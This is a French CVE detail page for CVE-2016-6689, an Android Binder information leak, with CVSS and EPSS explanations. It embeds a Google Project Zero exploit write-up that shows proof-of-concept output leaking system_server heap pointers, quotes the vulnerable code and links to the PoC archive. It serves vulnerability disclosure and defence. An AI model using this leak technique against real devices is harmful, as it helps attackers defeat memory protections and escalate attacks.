CVE-2016-6689 : Détail

CVE-2016-6689

5.5
/
Moyen
A01-Broken Access Control
0.12%V3
Local
2016-10-10
08h00 +00:00
2017-09-02
07h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Binder in the kernel in Android before 2016-10-05 on Nexus devices allows attackers to obtain sensitive information via a crafted application, aka internal bug 30768347.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40515

Date de publication : 2016-10-11 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889 The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER, a pointer to that object (in the server process) is leaked to the client process as the cookie value. This leads to a leak of a heap address in many of the privileged binder services, including system_server. See attached PoC, which leaks the addresses of allocated heap objects in system_server. Output running from the shell (run on droidfood userdebug build, MTC19X): shell@bullhead:/ $ /data/local/tmp/binder_info_leak --- binder info leak --- [0] opening /dev/binder [0] looking up activity 0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 . 0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 . 0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 . 0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 24 offs 8 0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 . 0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . - type 73682a85 flags 0000017f ptr 0000005500000001 cookie 0000000000000000 [0] got handle 00000001 0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 . 0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 . 0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 . 0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 . 0080: 64 d 00 . 00 . 00 . BR_NOOP: BR_TRANSACTION_COMPLETE: BR_REPLY: target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000 pid 0 uid 1000 data 28 offs 8 0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 . 0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 . - type 73682a85 flags 0000017f ptr 0000007f00000002 cookie 0000007f8b9d19c0 [0] got handle 00000000 Debugger output from system_server pwndbg> hexdump 0x0000007f8b9d19c0 +0000 0x7f8b9d19c0 38 35 76 ab 7f 00 00 00 00 00 00 00 00 00 00 00 |85v.|....|....|....| +0010 0x7f8b9d19d0 65 00 6e 00 74 00 5f 00 40 d1 0c a8 7f 00 00 00 |e.n.|t._.|@...|....| +0020 0x7f8b9d19e0 6a 16 20 00 00 00 00 00 20 ad 81 ab 7f 00 00 00 |j...|....|....|....| +0030 0x7f8b9d19f0 e0 fc 7f 8e 7f 00 00 00 a0 f2 c7 8a 7f 00 00 00 |....|....|....|....| +0040 0x7f8b9d1a00 This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects to pass via binder transactions: status_t flatten_binder(const sp<ProcessState>& /*proc*/, const sp<IBinder>& binder, Parcel* out) { flat_binder_object obj; obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS; if (binder != NULL) { IBinder *local = binder->localBinder(); if (!local) { BpBinder *proxy = binder->remoteBinder(); if (proxy == NULL) { ALOGE("null proxy"); } const int32_t handle = proxy ? proxy->handle() : 0; obj.type = BINDER_TYPE_HANDLE; obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */ obj.handle = handle; obj.cookie = 0; } else { obj.type = BINDER_TYPE_BINDER; obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs()); obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object } } else { obj.type = BINDER_TYPE_BINDER; obj.binder = 0; obj.cookie = 0; } return finish_flatten_binder(binder, obj, out); } and the kernel code which processes this to send to the target process modifies the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which contains the second pointer. case BINDER_TYPE_BINDER: case BINDER_TYPE_WEAK_BINDER: { struct binder_ref *ref; struct binder_node *node = binder_get_node(proc, fp->binder); if (node == NULL) { node = binder_new_node(proc, fp->binder, fp->cookie); if (node == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_new_node_failed; } node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK; node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS); } if (fp->cookie != node->cookie) { binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n", proc->pid, thread->pid, (u64)fp->binder, node->debug_id, (u64)fp->cookie, (u64)node->cookie); goto err_binder_get_ref_for_node_failed; } if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } ref = binder_get_ref_for_node(target_proc, node); if (ref == NULL) { return_error = BR_FAILED_REPLY; goto err_binder_get_ref_for_node_failed; } if (fp->type == BINDER_TYPE_BINDER) fp->type = BINDER_TYPE_HANDLE; else fp->type = BINDER_TYPE_WEAK_HANDLE; fp->handle = ref->desc; binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE, &thread->todo); trace_binder_transaction_node_to_ref(t, node, ref); binder_debug(BINDER_DEBUG_TRANSACTION, " node %d u%016llx -> ref %d desc %d\n", node->debug_id, (u64)node->ptr, ref->debug_id, ref->desc); } break; In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because a uint32_t is smaller than a binder_uintptr_t. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40515.zip

Products Mentioned

Configuraton 0

Google>>Android >> Version To (including) 7.0

Références

http://www.securityfocus.com/bid/93323
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40515/
Tags : exploit, x_refsource_EXPLOIT-DB